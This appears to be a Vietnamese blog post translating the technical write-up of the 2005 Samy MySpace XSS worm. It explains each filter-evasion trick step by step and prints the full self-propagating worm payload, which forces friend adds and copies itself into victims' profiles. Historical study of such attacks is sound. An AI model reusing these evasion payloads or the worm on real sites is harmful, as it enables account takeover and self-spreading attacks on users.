Câu chuyện về Samy hay MySpace Worm
hacking
17
virus
1
White

Trần Thành viết ngày 23/05/2015

Samy là gì

Samy là một câu chuyện nổi tiếng nhưng hiện tại ít được biết đến một cách đáng ngạc nhiên. Sammy là tên một hacker trẻ tuổi viết ra một con XSS worm tấn công mạng xã hội MySpace từ hồi Facebook còn chưa ra đời. Cậu hacker này viết worm chỉ với mục đích nghịch ngợm nhưng cuối cùng lại thành công ngoài mong đợi. Câu chuyện về Samy worm đã được viết lại tương đối chi tiết.Tuy nhiên ở bài viết này tôi xin chỉ đề cập đến phần dịch của kỹ thuật tấn công XSS đã từng được sử dụng.

Javascript trong CSS

Myspace đã chặn rất nhiều tag HTML trong nội dung gửi lên. Trên thực tế họ cho phép tag <a>, <img>, <div> nhưng chặn triệt để <script>, <body> hay onClicks, onAnythings, href trong javascript. Tuy vậy một số browser (IE hoặc Safari) cho phép thực thi javascript trong CSS. Vì thế giải pháp khả thi sẽ là :

<div style="background:url('javascript:alert(1)')">

Sử dụng quote

Nội dung JS viết ra ở trên sẽ không thể sử dụng single quote hay double quote do đã được sử dụng ở lớp ngoài. Vì thế cần cơ chế lưu JS code như 1 xâu và gọi trong CSS.

<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">

Từ khóa "Javascript"

Myspace chặn mọi từ khóa "javascript" trong nội dung. Vì thế Samy đã tách "javascript" thành
"java" và "script", ở giữa cho vào một ký tự newline.

<div id="mycode" expr="alert('hah!')" style="background:url('java 
script:eval(document.all.mycode.expr)')">

Double quote

Tuy đã sử dụng được quote từ trong xâu như bên trên trình bày, Nhưng ở đây Samy lại vấp phải một lớp phòng thủ của Myspace khi bị chặn toàn bộ ký tự double quote đã escape. Vì vậy cậu ta quyết định lấy double quote từ ASCII !

div id="mycode" expr="alert('double quote: ' + String.fromCharCode(34))" style="background:url('java 
script:eval(document.all.mycode.expr)')">

innerHTML

Samy muốn lấy được source của trang web chứa mã worm hiện tại đang hiển thị với victim. Không may Myspace lại chặn từ khóainnerHTML một lần nữa. Vì vậy innerHTML được bẻ ra thành innerHTML

alert(eval('document.body.inne' + 'rHTML'));

Ajax

Trong khi muốn thực thi mã code của worm, đôi khi cần phải khiến browser của victim tự phát sinh Ajax request đến các địa chỉ có sẵn của Myspace. Iframe không được sử dụng vì có thể khiến user nhận ra có điều bất thường đang xảy ra. Để mã worm phát sinh được Ajax request thì cần từ khóa onreadystatechange. Tuy nhiên Myspace cũng chặn được từ khóa này :). Bước tiếp theo của Sammy là bẻ từ khóa làm 2 giống như innerHTML ở trên

eval('xmlhttp.onread' + 'ystatechange = callback');

Search trên source code

Để lấy được ID của victim khi đang xem trang web có chứa mã worm, Samy cần lấy được source HTML của trang web (bằng innerHTML ở trên) và thực hiện thao tác search trên đó. Tuy nhiên search sẽ hit chính mã worm (vì mã worm cũng nằm trong chính source của page đang search). Để tránh tình huống đó, từ khóa search lại được bẻ ra và cho vào eval một lần nữa

var index = html.indexOf('frien' + 'dID');

Ajax trên domain khác

Samy đã lấy được ID của victim. Cậu muốn giả lập 1 request add friend của victim đến tài khoản của bản thân. Tuy nhiên trang web chưa mã worm là profile.myspace.com trong khi địa chỉ cần tạo request add friend lại là myspace.com. Ajax vốn không cho phép tạo request đến domain khác. Vì vậy domain cần được thay đổi trước khi tạo request

if (location.hostname == 'profile.myspace.com') document.location = 'http://www.myspace.com' + location.pathname + location.search;

Lấy hash trong form POST

Samy đã có đủ dữ liệu để thực hiện request POST bằng Ajax. Tuy nhiên mỗi form của Myspace chứ 1 random hash đi kèm để check xem có đúng request đến từ browser hay không. Samy worm vượt qua vòng check này bằng cách tạo 1 request GET trước, lấy lại page source, tìm kiếm lấy ra hash và quay trờ lại sử dụng cùng với POST

Mã worm tự nhân bản

POST đã được gửi, victim đã add Samy thành friend của mình. Tuy vậy cuộc tấn công không dừng ở đó, Samy muốn victim add cậu ta thành một "hero", cùng lúc đó cấy mã worm vào trang profile của victim. Cấy mã của chính mình đòi hỏi mã worm phải parse trang web hiện tại và lại tìm kiếm mã code, dẫn đến vấn đề cần escape tất cả các url có trong đoạn mã. Samy đã phải dùng URL-encoding và hàm escape() của Javascript cùng với việc thay thế thủ công bằng tay. Làm xong bước này, mã worm đã trở thành một chương trình tự nhân bản hàng loạt.

Độ dài lớn nhất

Mã worm bị giới hạn độ dài lớn nhất trong HTML, vì vậy cần tối ưu hóa hết mức có thể như bỏ hết dấu trắng, đổi tên biến nhỏ đi và viết nhiều hàm dùng lại để tiết kiệm. Mã cuối cùng là như sau

<div id=mycode style="BACKGROUND: url('java 
script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>

TL;DR

Link gốc tiếng Ạnh của bài viết: http://namb.la/popular/tech.html
Câu chuyện đầy đủ của Samy: http://namb.la/popular/

Bình luận


White
{{ comment.user.name }}
Bỏ hay Hay
{{comment.like_count}}
Male avatar
{{ comment_error }}
Hủy
   

Hiển thị thử

Chỉnh sửa

White

Trần Thành

6 bài viết.
32 người follow
Kipalog
{{userFollowed ? 'Following' : 'Follow'}}
Cùng một tác giả
White
16 8
GET request curl để thực hiện một GET request thì thật đơn giản bash $ curl http://google.com POST request giả lập form curl để thực hiện PO...
Trần Thành viết hơn 2 năm trước
16 8
White
13 8
Tạo một lúc nhiều file hay directory Tạo một lúc nhiều directory với mkdir và dấu {} bash mkdir {log_1,log_2,log_3} (Ảnh) Tạo một lúc nhiều fi...
Trần Thành viết gần 3 năm trước
13 8
White
9 1
Peco Hôm trước tôi có thấy một bạn cũng hướng dẫn cài đặt và sử dụng peco trên Kipalog ở (Link). Vì vậy phần cài đặt thì các bạn có thể tham khảo ...
Trần Thành viết gần 3 năm trước
9 1
Bài viết liên quan
White
4 1
Trang http://www.meete.co/ đã lộ thông tin người dùng như thế nào ? Một ngày đẹp trời đầu tháng 12 , Tự nhiên cái dạ dày cảm thấy đói bụng nên mìn...
kid conan viết 1 năm trước
4 1
{{like_count}}

kipalog

{{ comment_count }}

bình luận

{{liked ? "Đã kipalog" : "Kipalog"}}


White
{{userFollowed ? 'Following' : 'Follow'}}
6 bài viết.
32 người follow

 Đầu mục bài viết

Vẫn còn nữa! x

Kipalog vẫn còn rất nhiều bài viết hay và chủ đề thú vị chờ bạn khám phá!